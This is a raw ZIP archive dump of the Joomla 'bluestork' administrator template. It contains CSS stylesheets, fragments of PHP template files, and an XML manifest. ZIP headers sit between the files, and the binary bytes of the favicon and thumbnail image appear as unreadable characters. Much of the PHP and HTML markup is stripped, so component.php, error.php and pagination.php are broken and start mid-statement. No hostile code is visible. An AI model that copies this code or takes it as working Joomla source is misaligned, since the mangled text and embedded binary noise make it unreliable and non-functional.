list-style-type: none; } #permissions-sliders ul#rules li { margin: 0; padding: 0; } ul#rules li .pane-sliders .panel h3.title { border: solid 0 #ccc; } #permissions-sliders ul#rules .pane-slider { border:solid 1px #ccc; } #permissions-sliders ul#rules .pane-slider.pane-hide { display:none; } #permissions-sliders ul#rules li h3 { background:#fafafa; font-size:1.10em; } #permissions-sliders ul#rules li h3 { border: solid 1px #ccc; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border: solid 0; } #permissions-sliders ul#rules li h3.pane-toggler-down { color:#000; /*background:#146295;*/ } #permissions-sliders ul#rules .group-kind { color:#025A8D; } #permissions-sliders ul#rules table.group-rules { border-collapse:collapse; width:100%; } #permissions-sliders ul#rules table.group-rules td { border:solid 1px #ccc; padding:4px; vertical-align:middle; text-align:left; overflow:hidden; } #permissions-sliders ul#rules table.group-rules th { background:#ddd; border:solid 1px #ddd; font-size:0.9em; color:#025A8D; overflow:hidden; } #permissions-sliders .panel { margin-bottom: 3px; margin-left:0; border:0; } #permissions-sliders p.rule-desc { font-size: 1.091em; margin-left: 0; } #permissions-sliders div.rule-notes { font-size: 1.091em; } ul#rules table.aclmodify-table { border:solid 1px #000; } ul#rules table.group-rules td label { border:solid 0 #000; margin:0 !important; } ul#rules table.group-rules td span { padding-bottom: 4px; } table.group-rules td select { margin:0 !important; } #permissions-sliders ul#rules .mypanel { background:#ffffff; padding:0; } #permissions-sliders .mypanel table.group-rules { margin: 5px; } #permissions-sliders ul#rules { padding:5px; } #permissions-sliders ul#rules table.group-rules th { text-align:left; padding:4px; } #permissions-sliders .pane-toggler span { padding-left:20px; } #permissions-sliders .pane-toggler-down span { padding-left:20px; } #permissions-sliders .pane-toggler-down span.level, #permissions-sliders .pane-toggler span.level { color:#aaa; background-image:none; padding: 0; } /* Debug acl styling */ .check-0, table.adminlist tbody td.check-0 { background-color: #FFFFCF; } .check-a, table.adminlist tbody td.check-a { background-color: #CFFFDA; } .check-d, table.adminlist tbody td.check-d { background-color: #FFCFCF; } .swatch { text-align: center; padding: 0 15px 0 15px; } /* Tab changes for accessibility */ dl.tabs dt h3 { margin: 0; padding: 0; font-size: 1em; font-weight: normal; } dl.tabs dt h3 a:link { color:#333333; outline:medium none; text-decoration:none; } /* -- CUSTOM LANG STRINGS STYLES ----------- */ .red { font-weight: bold; color: #c00; } /** rounded corners **/ div#element-box div.section-box div.m { background: #fbfbfb; } .submenu-box, div.m { border: 1px solid #ccc; padding: 0 8px; background-color: #f4f4f4; -webkit-border-radius: 10px; -moz-border-radius: 10px; border-radius: 10px; } .submenu-box, #submenu-box div.m { padding: 6px 8px; } .wbg { background-color: #fff!important; } div#toolbar-box div.m { padding: 5px 0 10px; } div#element-box div.m { padding: 10px; } div#element-box div.section-box { background: #f4f4f4; } /* login */ div#element-box.login { background-color: #ffffff; } /* -- Codemirror Editor ----------- */ div.CodeMirror-wrapping { border: 1px solid #cccccc; } /* -- Update check badges -- */ span.update-badge { background-image: -moz-linear-gradient(center bottom , #FF0000 41%, #FC7E7E 79%); background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0.41, rgb(255,0,0)),color-stop(0.79, rgb(252,126,126))); border: 2px solid white; border-radius: 1.5em 1.5em 1.5em 1.5em; color: white; display: block; float: left; font-size: 1em; font-weight: bold; height: 1.2em; left: 60px; min-width: 1em; padding: 0 0.1em 0; position: relative; top: -74px; } /* Installer Database */ #installer-database p.warning { padding-left: 20px; background: transparent url(../images/admin/icon-16-deny.png) center left no-repeat; } #installer-database p.nowarning { padding-left: 20px; background: transparent url(../images/admin/icon-16-allow.png) center left no-repeat; } /* Spinner */ .joomlaupdate_spinner { float: left; margin-right: 15px; } PK@y>\"11(templates/bluestork/css/template_rtl.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /* -- GENERAL STYLES RTL ------------------------------ */ body{ direction: rtl; } h1, h2, h3 { text-align: right; } #border-top span.logo { float: left; padding-left:15px; } #border-top span { padding-right: 15px; } .button1 { background: url(../images/j_button1_right.png) 100% 0 no-repeat; margin-left: 5px; padding-right: 10px; white-space: nowrap; padding-left: 0; } .button1 .next { background: url(../images/j_button1_prev.png) no-repeat; } .button1 a { padding: 0 6px 0 30px; } .button1, .button1 div{ float: left; } .button2-left a, .button2-left span { padding: 0 6px 0 24px; } .button2-left { background: transparent url(../images/j_button2_right.png) no-repeat scroll 100%; float: right; } .button2-left .end{ background: transparent url(../images/j_button2_first.png) no-repeat scroll 0 0; } .button2-left.off .end{ background: transparent url(../images/j_button2_first_off.png) no-repeat scroll 0 0; } .button2-left .next{ background: transparent url(../images/j_button2_prev.png) no-repeat scroll 0 0; } .button2-left.off .next{ background: transparent url(../images/j_button2_prev_off.png) no-repeat scroll 0 0; } .button2-left .page, .button2-left .blank { background: url(../images/j_button2_left_cap.png) 0 no-repeat; } .button2-right a, .button2-right span { padding: 0 24px 0 6px; } .button2-left .image { background:transparent url(../images/j_button2_image_rtl.png) no-repeat scroll 0 0; } .button2-left .article { background:transparent url(../images/j_button2_readmore_rtl.png) no-repeat scroll 0 0; } .button2-left .pagebreak { background:transparent url(../images/j_button2_pagebreak_rtl.png) no-repeat scroll 0 0; } .button2-left .readmore { background:transparent url(../images/j_button2_readmore_rtl.png) no-repeat scroll 0 0; } .button2-right { background:transparent url(../images/j_button2_left.png) no-repeat scroll 0 0; float: right; } .button2-right .prev { background:transparent url(../images/j_button2_next.png) no-repeat scroll 100%; } .button2-right.off .prev { background:transparent url(../images/j_button2_next_off.png) no-repeat scroll 100%; } .button2-right .start { background:transparent url(../images/j_button2_last.png) no-repeat scroll 100%; } .button2-right.off .start { background:transparent url(../images/j_button2_last_off.png) no-repeat scroll 100%; } #border-top .version{ float: left; padding: 25px 0 0 5px; } #border-top .title{ padding-right: 10px; padding-left: 10px; float: right; } #module-status { float: left; } #module-status > * { float: right !important; } #module-status span { padding: 4px 22px 0 10px; } #module-status .legacy-mode, #module-status .viewsite { background-position: right 5px; } #module-status .preview, #module-status .unread-messages, #module-status .no-unread-messages, #module-status .loggedin-users, #module-status .multilanguage, #module-status .logout, #module-status .backloggedin-users { background-position: right 3px; } fieldset.filter { border: 0; padding: 0; margin:0 0 10px; } div.left { float: right; } div.right { float: left; } table.adminform td { text-align: right; } .cpanel div.icon , #cpanel div.icon { margin-right: 0; margin-left: 5px; } .pane-toggler span, .pane-toggler-down span { background-position: right; padding-right: 20px; padding-left: 0; } .pane-toggler span { background-image: url(../images/j_arrow_left.png); } div.toolbar { float: left; padding: 0; text-align: left; } div.header { margin-right: 10px; margin-left: 0; padding-right: 55px; padding-left: 0; } .header{ background-position: right; } table.adminlist thead th.left { text-align: right; } table.adminlist tbody tr{ text-align: right; } table.adminform th{ text-align: right; padding: 6px 4px 4px 2px; } fieldset { text-align:right; } table.adminform td.filter{ text-align: right; } table.adminform td.helpMenu{ text-align: left; } table.adminlist .pagination{ display: -moz-box; } .pagination div.limit{ float: right; margin: 0 10px 0 0; } .button2-left .page a, .button2-right .page a, .button2-left .page span, .button2-right .page span, .button2-left .blank a, .button2-right .blank a, .button2-left .blank span, .button2-right .blank span{ float: right; } div.col{ float: right; } #system-message dd.message ul { background-position: 99% center; } #system-message dd { text-indent: 35px; } /* -- LOGIN STYLES ----------------------------- */ #section-box{ float: left; margin-left: 0; margin-right: 10px; } #form-login label{ float: right; text-align: right; } #form-login div.button_holder{ padding-left: 0; } form .inputbox { margin-left: 0; margin-right: 10px; } /* ---- MENU STYLES RTL ------------------- */ /* common styling */ #menu li { border-right:1px solid #FFFFFF; border-left:1px solid #D8D8D8; float: right; } #menu li:hover li:hover ul { left: auto; right: 100%; } #menu a, #menu div { background-position: right; } #menu ul { background-position: right; } #menu ul li.node { background:transparent url(../images/j_arrow_left.png) no-repeat scroll left 50%; } #menu li ul { left: auto; right: 0; } #menu ul a { padding-right:25px; padding-left:20px; } #submenu li { float:right; } #submenu li a, #submenu span.nolink { border-right:none; border-left:1px solid #CCCCCC; display: -moz-inline-box; } #form-login .button-holder { float: left; padding-left: 5px; clear:left; } input#mod-login-username, input#mod-login-password, select#lang { float:left; margin: 0 20px 0 0; clear:left; } fieldset label, fieldset span.faux-label { float: right; clear: right; } div.cpanel-left { width: 54%; float: right; } div.cpanel-right { width: 45%; float: left; } .cpanel div.icon , #cpanel div.icon { float: right; } div.pagetitle { padding-right: 60px; background-position:right; margin-right: 10px; } div.toolbar-list { float: left; } div.toolbar-list li { float: right; } td.left,th.left { text-align: right; } fieldset input, fieldset textarea, fieldset select, fieldset img, fieldset button { float: right; text-align:right; margin: 5px 5px 0 5px; } #jform_id { float:right; } li#jform_menutype_label, li#jform_parentid_label, li#jform_published_label, li#jform_access_label { float: right; clear: right; } fieldset.adminform label, fieldset.adminform span.faux-label { padding: 0 0 0 5px; } fieldset.adminform ul.checklist li { float:right; } fieldset.panelform label, fieldset.panelform div.paramrow label, fieldset.panelform span.faux-label { padding: 0 0 0 5px; } fieldset.adminform fieldset.radio, fieldset.panelform fieldset.radio, fieldset.adminform-legacy fieldset.radio { border: 0; float: right; padding: 0; margin: 0 5px 5px 0; clear: left; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label { float: right; } fieldset.panelform-legacy label, fieldset.adminform-legacy label { float: right; } /* checkboxes */ fieldset.adminform fieldset.checkboxes, fieldset.panelform fieldset.checkboxes, fieldset.adminform-legacy fieldset.checkboxes { float:right; margin: 0 0 5px 0; clear:left; } fieldset.adminform fieldset.checkboxes input[type="checkbox"], fieldset.panelform fieldset.checkboxes input[type="checkbox"] { float: right; clear: right; } fieldset.adminform fieldset.checkboxes label, fieldset.panelform fieldset.checkboxes label, fieldset.adminform fieldset.checkboxes span.faux-label, fieldset.panelform fieldset.checkboxes span.faux-label { clear: left; } /* end checkboxes */ div#position-icon.pane-sliders div.pane-down .icon-wrapper .icon { padding: 5px 10px 5px 0; margin: 0; } dl.tabs { float: right; } dl.tabs dt { float: right; } td.col1 { text-align: right; } .clrlft {clear: right;} .clrrt {clear: left;} .fltlft {float: right;} .fltrt {float: left;} .fltnone {float: none;} #user-groups li { float:right; text-align:right; } /* -------- Batch Section ---------- */ fieldset.batch { margin: 20px 10px 0 0; } fieldset#batch-choose-action { clear: right; } fieldset.batch label { float: right; } fieldset label#batch-choose-action-lbl { clear: right; } label#batch-language-lbl, label#batch-user-lbl { clear: right; margin-left: 10px; margin-right: 0; margin-top: 15px; } select#batch-language-id, select#batch-user-id { margin-top: 15px; } select#batch-category-id, select#batch-menu-id, select#batch-position-id { margin-left: 30px; margin-right: 0; } { margin-left: 30px; margin-right: 0; } label#batch-access-lbl, label#batch-client-lbl { margin-left: 10px; margin-right: 0; } /* Icons */ span.icon-16-unset, span.icon-16-allowed, span.icon-16-denied, span.icon-16-locked { padding-left: 0; padding-right: 18px; } span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat right; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } span.icon-16-locked { background: url(../images/admin/checked_out.png) no-repeat right; } /** * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { margin: 0 !important; padding: 0 !important; } #permissions-sliders ul#rules li { margin: 0; padding: 0; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border: solid 0; } #permissions-sliders ul#rules table.group-rules td { padding:4px; vertical-align:middle; text-align:right; } ul#rules table.group-rules td label { margin:0 !important; } table.group-rules td select { margin: 0 !important; } #permissions-sliders ul#rules .mypanel { padding: 0; } #permissions-sliders ul#rules { padding:5px; } #permissions-sliders ul#rules table.group-rules th { text-align:right; padding:4px; } #permissions-sliders .pane-toggler span { padding-right: 20px; padding-left: 0; } #permissions-sliders .pane-toggler-down span { padding-right: 20px; padding-left: 0; } div.current #permissions-sliders select { float:right; margin:3px 2px 0 2px; } /* Additional RTL fixes for forms */ div.current label, div.current span.faux-label { float: right; clear: none; clear: right; margin-top: 8px; } div.current fieldset.radio { float: right; } div.current fieldset.radio input { float: right; margin: 3px 2px 0 0; } div.current fieldset.radio label { float: right; margin: 3px 5px 0 0; } div.current fieldset.checkboxes { float: right; clear: left; } div.current fieldset.checkboxes input { clear: right; float: right; margin: 3px 2px 0 0; } div.current fieldset.checkboxes label { clear: left; margin: 3px 5px 0 0; } div.current input, div.current textarea, div.current select { float: right; margin: 3px 2px 0 0; } .mod-desc { margin-right: 135px !important; float: none !important; } div#menu-assignment { clear:right; } div#menu-assignment ul.menu-links { float: right; } div#menu-assignment h3 { clear:right; } div#menu-assignment ul.menu-links li.menu-link label { float: right; margin: 3px 2px 0 0; } div#menu-assignment ul.menu-links li.menu-link input { clear: right; float: right; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) left top no-repeat; } /* -- MODAL STYLES ----------- */ div#sbox-window { text-align: right; } h2.modal-title { margin: 5px 15px 0 0; } ul.menu_types { padding: 0 15px 0 0; margin: 0; } ul.menu_types li, dl.menu_type dd ul li { float: right; margin-left: 10px; margin-right: 0; } dl.menu_type dt { float: right; margin: 13px 0 5px 0; } dl.menu_type dd { clear: right; margin: 0; } dl.menu_type dd ul li { margin: 0; } dl.menu_type dd ul { margin-left: 0; margin-right: -40px; } ul#new-modules-list { padding: 5px 15px 0 0; margin: 0; } ul#new-modules-list li { float:right; margin: 0 0 0 20px; font-size: 1.091em; } /* Installer Database */ #installer-database p.warning { padding-left: 0; padding-right: 20px; background-position: center right; } #installer-database p.nowarning { padding-left: 0; padding-right: 20px; background-position: center right;} p.nowarning { float: right; margin-left: 15px; margin-right: 3px; } /* Spinner */ .joomlaupdate_spinner { float: right; margin-left: 15px; } PK@y>\$ث66!templates/bluestork/css/theme.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /* ThemeOfficeMenu Style Sheet */ .ThemeOfficeMenu, .ThemeOfficeSubMenuTable { font-family: Arial, Verdana, sans-serif; font-size: 13px; padding: 0; white-space: nowrap; cursor: default; height: 25px; } .ThemeOfficeSubMenu { position: absolute; visibility: hidden; /* Netscape/Mozilla renders borders by increasing their z-index. The following line is necessary to cover any borders underneath */ z-index: 100; border: 0; padding: 0; overflow: visible; border: 1px solid #8C867B; filter:progid:DXImageTransform.Microsoft.Shadow(color=#BDC3BD, Direction=135, Strength=4); } .ThemeOfficeSubMenuTable { overflow: visible; } .ThemeOfficeMainItem, .ThemeOfficeMainItemHover, .ThemeOfficeMainItemActive, .ThemeOfficeMenuItem, .ThemeOfficeMenuItemHover, .ThemeOfficeMenuItemActive { border: 0; cursor: default; white-space: nowrap; } .ThemeOfficeMainItemHover, .ThemeOfficeMainItemActive { background-color: #e7eddf; } .ThemeOfficeMenuItem { background-color: #F1F3F5; } .ThemeOfficeMenuItemHover, .ThemeOfficeMenuItemActive { background-color: #e7eddf; } /* horizontal main menu */ .ThemeOfficeMainItem { padding: 4px 1px 4px 1px; border: 0; } td.ThemeOfficeMainItemHover, td.ThemeOfficeMainItemActive { padding: 0; border-right: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; } .ThemeOfficeMainFolderLeft, .ThemeOfficeMainItemLeft, .ThemeOfficeMainFolderText, .ThemeOfficeMainItemText, .ThemeOfficeMainFolderRight, .ThemeOfficeMainItemRight { background-color: inherit; } /* vertical main menu sub components */ td.ThemeOfficeMainFolderLeft, td.ThemeOfficeMainItemLeft { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 2px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; background-color: inherit; } td.ThemeOfficeMainFolderText, td.ThemeOfficeMainItemText { padding-top: 2px; padding-bottom: 2px; padding-left: 5px; padding-right: 5px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } td.ThemeOfficeMainFolderRight, td.ThemeOfficeMainItemRight { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 0; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-right: 1px solid #6d9d2e; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderLeft, tr.ThemeOfficeMainItem td.ThemeOfficeMainItemLeft { padding-top: 3px; padding-bottom: 3px; padding-left: 1px; padding-right: 2px; white-space: nowrap; border: 0; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderText, tr.ThemeOfficeMainItem td.ThemeOfficeMainItemText { padding-top: 3px; padding-bottom: 3px; padding-left: 5px; padding-right: 5px; border: 0; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainItemRight, tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderRight { padding-top: 3px; padding-bottom: 3px; padding-left: 0; padding-right: 1px; border: 0; background-color: inherit; } /* sub menu sub components */ .ThemeOfficeMenuFolderLeft, .ThemeOfficeMenuItemLeft { padding-top: 2px; padding-bottom: 2px; padding-left: 1px; padding-right: 3px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuFolderText, .ThemeOfficeMenuItemText { padding-top: 2px; padding-bottom: 2px; padding-left: 5px; padding-right: 5px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuFolderRight, .ThemeOfficeMenuItemRight { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 0; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-right: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderLeft, .ThemeOfficeMenuItem .ThemeOfficeMenuItemLeft { padding-top: 3px; padding-bottom: 3px; padding-left: 2px; padding-right: 3px; white-space: nowrap; border: 0; background-color: #DDE1E6; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderText, .ThemeOfficeMenuItem .ThemeOfficeMenuItemText { padding-top: 3px; padding-bottom: 3px; padding-left: 5px; padding-right: 5px; border: 0; background-color: inherit; } .ThemeOfficeMenuItem .ThemeOfficeMenuFolderRight, .ThemeOfficeMenuItem .ThemeOfficeMenuItemRight { padding-top: 3px; padding-bottom: 3px; padding-left: 0; padding-right: 1px; border: 0; background-color: inherit; } /* menu splits */ .ThemeOfficeMenuSplit { margin: 2px; height: 1px; overflow: hidden; background-color: inherit; border-top: 1px solid #C6C3BD; } /* image shadow animation */ /* seq1: image for normal seq2: image for hover and active To use, in the icon field, input the following: */ .ThemeOfficeMenuItem img.seq1 { display: inline; } .ThemeOfficeMenuItemHover seq2, .ThemeOfficeMenuItemActive seq2 { display: inline; } .ThemeOfficeMenuItem .seq2, .ThemeOfficeMenuItemHover .seq1, .ThemeOfficeMenuItemActive .seq1 { display: none; } /* inactive settings */ div.inactive td.ThemeOfficeMainItemHover, div.inactive td.ThemeOfficeMainItemActive { border-top: 0; border-right: 1px solid #f1f3f5; border-left: 1px solid #f1f3f5; } div.inactive .ThemeOfficeMainItem { color: #bbb; } div.inactive span.ThemeOfficeMainItemText { color: #aaa; } div.inactive .ThemeOfficeMainItemHover, div.inactive .ThemeOfficeMainItemActive { background-color: #f1f3f5; }PK@y>\Htemplates/bluestork/css/ie7.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /* IE7 OVERRIDES */ input { border-width: expression(this.type == "radio" ? '0px' : this.type == "checkbox" ? '0px' : '1px'); } /* Accessibility: css in template.css for slider keyboard * has to be reversed here or the mouse does not work for ie */ .pane-toggler + div { display: block; } #toolbar-box m { height: 50px; padding-left: 10px; } div.toolbar-list span { margin: 0; position: relative } div.toolbar-list a { position: relative; } div#subheader { height: 2em; } #login-page .pagetitle h2 { margin: 0; padding: 0; } *:first-child+html .clearfix { min-height: 1px; } .menu-links li, .menu-links li label { height: 2em; } div.article-edit, div.category-edit { zoom: 1; } div.pane-sliders, div.panel, div.pane-slider, div.rules-section, div.mypanel, div.containerpg, div.pagination, div.upload-queue { zoom: 1; } div.width-20 fieldset.adminform, div.width-30 fieldset.adminform, div.width-35 fieldset.adminform, div.width-40 fieldset.adminform, div.width-45 fieldset.adminform, div.width-50 fieldset.adminform, div.width-55 fieldset.adminform, div.width-60 fieldset.adminform, div.width-65 fieldset.adminform, div.width-70 fieldset.adminform, div.width-80 fieldset.adminform, div.width-100 fieldset.adminform { zoom: 1; margin-bottom:10px; } div.toggle-editor { margin-top: -5px; margin-bottom: 5px; } table.adminlist { border-bottom-width: 1px; } div.current dd { width: 100%; position: relative; } div.current ul.menu-links { zoom: 1; width: 25%; margin: 0; padding:0; list-style-position: inside; } input.readonly { border: 0 !important; } div#position-icon.pane-sliders div.pane-down div.icon-wrapper { margin: 0; } div.pagetitle { height: auto; } div.pagetitle h2 { min-height: 48px; } fieldset.panelform fieldset.checkboxes.impunlimited { float:none; width: 170px; } PK@y>\X\templates/bluestork/css/ie8.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /* IE 8 OVERRIDES */ input { border-width: expression(this.type=="radio"?'0px':this.type=="checkbox"?'0px':'1px'); } div.toolbar-box { height: 65px; } .toolbar-box div.m { height: 50px; } div.toolbar-list .span { margin: 0; position: relative; } div.toolbar-list a { position: relative; } #menu ul li.separator { display:inline; } input, select, button { font-size:1em; } fieldset.adminform legend { position: absolute; float: left; top: -0.6em; left: 0.6em; } div.width-20 fieldset.adminform, div.width-30 fieldset.adminform, div.width-35 fieldset.adminform, div.width-40 fieldset.adminform, div.width-45 fieldset.adminform, div.width-50 fieldset.adminform, div.width-55 fieldset.adminform, div.width-60 fieldset.adminform, div.width-65 fieldset.adminform, div.width-70 fieldset.adminform, div.width-80 fieldset.adminform, div.width-100 fieldset.adminform { position: relative; overflow: visible; background-color:#FFFFFF; padding:15px 17px 17px; margin-top: 20px; } .pane-sliders { margin: 20px 0 0 0; }PK@y>\V"templates/bluestork/css/index.htmlnuW+A PK@y>\<[A~~templates/bluestork/favicon.iconuW+A h(  #.#.͐PK͑Q͐P͑Q4@5@5@5@_͑Q͐P̐P͑Q̐P͐QҔ1G,5Q5@5@4?5@5@5@͑Q͑Q͑Q͑Q͐P͑QГ;ǑOz7?t#7C4@5@4@4@4@͐P`͑Q͑QΒQˎQƇNɊQԖ*.$1;7C5@5@5@v͐Qy͑QˎP_ŅQיv0;4@5@l͐Pe͑Q‚O?ćB諜_ljUԖ $5@4@DɊQ'ĄOƍQZyB|DrMgOѓ+lטaCN*,505-[DcvA~Fd?Zx_\Ij!templates/bluestork/component.phpnuW+AaddStyleSheet('templates/system/css/system.css'); $doc->addStyleSheet('templates/'.$this->template.'/css/template.css'); if ($this->direction == 'rtl') { $doc->addStyleSheet('templates/'.$this->template.'/css/template_rtl.css'); } /** Load specific language related css */ $lang = JFactory::getLanguage(); $file = 'language/'.$lang->getTag().'/'.$lang->getTag().'.css'; if (JFile::exists($file)) { $doc->addStyleSheet($file); } if ($this->params->get('textBig')) { $doc->addStyleSheet('templates/'.$this->template.'/css/textbig.css'); } if ($this->params->get('highContrast')) { $doc->addStyleSheet('templates/'.$this->template.'/css/highcontrast.css'); } ?> PK@y>\B*templates/bluestork/template_thumbnail.pngnuW+APNG  IHDRGlPLTEO_zpopGGFͅ #,Pc7E2aa`s666֚:opA'&&ECn{{{ӹTSS',{A)J]999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~Wy pHYs  iIDATx BN]aMAMew&>ӺϝnydL8!%N"?BJiywr?#nF+Pܕm+׵.*qC6tq|u9Q‹E fW+b@,- Q,/wnNn[lͲ2q(w/Xn4؃xlgWj%KEI)CjY U'ds& h'K|R$H!6Ē ꗱ Y8_]Y8*rob2".nƊ\n,Ģ/WT};tKã/p(D*rWxdabnA |2{!zĎ"|K %ʿqx4N6a L&GQɉ^OA0fy*K smXeγg-,`)`XY/m.<-qyu`>:$8~K鴃g~svVKI ᠓f:]p{`8!AyFgޣ >4`n rf(. g:t)%· ESKgP8'8ߙ匝C0 Ϣ3J/$5,tc8s[ID9?9?/|Q'sّWZlË[x^s:/\>t2PdՀ43p p8Y-ο7GG-Tx |[nBD15 nYo[hg,ˈ=JrЄRZYrJQYCQ`+rDZ?3E8 HA,T%Qmgevͮz6'g8h+[Twc`G-_lO+%S= 0YX$<{".A(.\ߜ ? ..,7M%qIqocW}ޢz82eKDHcy2O]s?RI/LL^,cc),xyy2Uū؝r>qii[`ɱ+ TeV| R0p*F U%SUhF>q-Oo;)q8cP 0Oct:X;<˽_0G^ჷ05euN}h>:|O + P *= g[,msG]͍\=^Mo!8q/l[G#6]i;I;*s$|G2*Z{ 4S';66r{3;2Y-!4OϢpMQaf9;E9' 閑s "8TD0(NjapڹV^0Hݘ]Ԅc0 7oc̠2ưuKDna~} N80V祕z.@:8eO䪬2ƍ tr0 @$H6wjQW;ā^})Io,p TSÌ28:LG҇\8p7vÆQޝM;q.9ц'YWԞ* `O2 xA$;wvcݰ:qSG}c4UB²"&<߀hVΐ`5_ܮ,辄WT9-+XU]m[0߾}3,Q)Q^vwE%8aN,n4,E}Rڍ BAm篽<eχoE//_P }{Pw'Qn\y<v. 5by:m"tUeO%UD&iQzP*[$ \OH܏q#RUĬ{ȴ?M\Ayy큓2yp-1s}PK<{<ҍ QC,76ޥʇg b5"KJDžդ(Z%zR4T8kP1Nvܣ.Ѫѕ@mĶfT+U sIRw^C;%VQJ;'seD1#Xã:'zqfaA*v[ B馗vhgр:Nl]_$?PHzAԱ&x6@z8p Wk_ɏ#y__3nc ] gkh=(VIa&xVߏq^G[@ƶi@y_ю>cIbaRu4Ȗm-(Oz;/=:U-my6FG^rDlű0ɓn=).PZ99%oiuXN,U+cWv9ڍpjnڑ2,PU~%SWvs-8Xlcj=pU合4Gh z6nOE+Ĩ#;T38s%*K5W[y=Ł + 8̧o| .WRP |Hs8]( E_H& IO N(+U#I!"<v0ϡ_#}H >Ty!DLF/ | + ¬Dq"%_ɹá;yXId G_!$*,iK'\`Խtemplates/bluestork/error.phpnuW+A <?php echo $this->error->getCode(); ?> - <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?> direction == 'rtl') : ?>

              error->getCode() ?> -

              error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>

              debug) : echo $this->renderBacktrace(); endif; ?>

              PK@y>\eʻ 'templates/bluestork/templateDetails.xmlnuW+A bluestork 07/02/09 Joomla! Project admin@joomla.org www.joomla.org Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt 2.5.0 TPL_BLUESTORK_XML_DESCRIPTION index.php login.php component.php cpanel.php error.php favicon.ico index.html template_preview.png template_thumbnail.png templateDetails.xml images js css html language menu submenu toolbar title status icon cp_shell cpanel footer login debug
              PK@y>\'templates/bluestork/html/pagination.phpnuW+Abase : integer * $item->prefix : string * $item->link : string * $item->text : string * * pagination_item_inactive * Input variable $item is an object with fields: * $item->base : integer * $item->prefix : string * $item->link : string * $item->text : string * * This gives template designers ultimate control over how pagination is rendered. * * NOTE: If you override pagination_item_active OR pagination_item_inactive you MUST override them both */ function pagination_list_footer($list) { // Initialise variables. $lang = JFactory::getLanguage(); $html = "
              \n"; $html .= "\n
              ".JText::_('JGLOBAL_DISPLAY_NUM').$list['limitfield']."
              "; $html .= $list['pageslinks']; $html .= "\n
              ".$list['pagescounter']."
              "; $html .= "\n"; $html .= "\n
              "; return $html; } function pagination_list_render($list) { // Initialise variables. $lang = JFactory::getLanguage(); $html = null; if ($list['start']['active']) { $html .= "
              ".$list['start']['data']."
              "; } else { $html .= "
              ".$list['start']['data']."
              "; } if ($list['previous']['active']) { $html .= "
              ".$list['previous']['data']."
              "; } else { $html .= "
              ".$list['previous']['data']."
              "; } $html .= "\n
              "; foreach($list['pages'] as $page) { $html .= $page['data']; } $html .= "\n
              "; if ($list['next']['active']) { $html .= "
              ".$list['next']['data']."
              "; } else { $html .= "
              ".$list['next']['data']."
              "; } if ($list['end']['active']) { $html .= "
              ".$list['end']['data']."
              "; } else { $html .= "
              ".$list['end']['data']."
